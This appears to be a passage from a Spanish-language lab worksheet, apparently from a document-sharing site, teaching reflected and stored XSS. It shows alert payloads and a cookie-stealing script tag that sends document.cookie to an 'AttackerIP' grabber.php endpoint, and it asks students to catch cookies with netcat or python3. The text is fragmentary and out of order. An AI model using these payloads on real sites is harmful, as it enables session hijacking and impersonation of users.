Documentos de Académico
Documentos de Profesional
Documentos de Cultura
1. Comprensión de la vulnerabilidad.
En el temario hemos hablado sobre las inyecciones XSS. Hemos dicho que estas permiten
inyectar código JavaScript de lado del cliente/servidor, pero ¿cómo se hace? En esta práctica
aprenderás a hacer un ataque XSS básico. Puesto que hay multitud de formas.
→ La forma de explotar un XSS es “sencilla” en HTML contamos con la etiqueta <script> la cual
nos permite introducir código JavaScript en esta. Usaremos esta misma etiqueta para el ataque.
Ejemplos de ataques XSS:
Este último ejemplo es el más interesante dado que enviará las cookies de sesión a la máquina atacante
para que posteriormente este pueda suplantar al usuario usando esas mismas cookies de sesión.
2. Ejemplo de la explotación XSS (Reflejado).
En esta captura podemos ver que los campos devuelven la misma información que les pasamos, este será
un ejemplo de XSS reflejado (Refleja la información). ¿Qué pasará si introducimos código JS? ¿Lo
interpretará?
Este es el resultado:
Podemos observar lo que seria una especie de Blog. Aquí la información se almacena en el servidor. El
ataque funciona de la misma forma. Mostraremos un ejemplo.
→ Inyectaremos: <script>document.location='http://”AttackerIP”/grabber.php?c='+document.cookie</script>
Así cada vez que alguien acceda al blog nos enviará la cookie.
Estaremos trabajando
esos módulos
XSS relflected:
→ Para esto vamos a tratar de inyectar código JavaScript para explotar el XSS. Usaremos las
etiquetas <script></script>. Dentro de estas usaremos la función alert. El código quedaría así:
<script>alert(“Tu nombre”)</script>
→ Si introducimos eso y nos salta un alert significa que habremos explotado con éxito el XSS.
3. ¿Qué ocurre si inyectas código y vuelves a acceder a la página?
→ Para esto haremos lo mismo que antes pero en lugar de poner nuestro nombre usaremos la
función document.cookie.
<script>alert(document.cookie)</script>
5. Envíate las cookies a un servidor (te lo puedes montar con netcat o python3) (subida de
nota)
XSS Stored:
→ Si tratamos de inyectar HTML o JavaScript podemos ver que los dos campos son
vulnerables.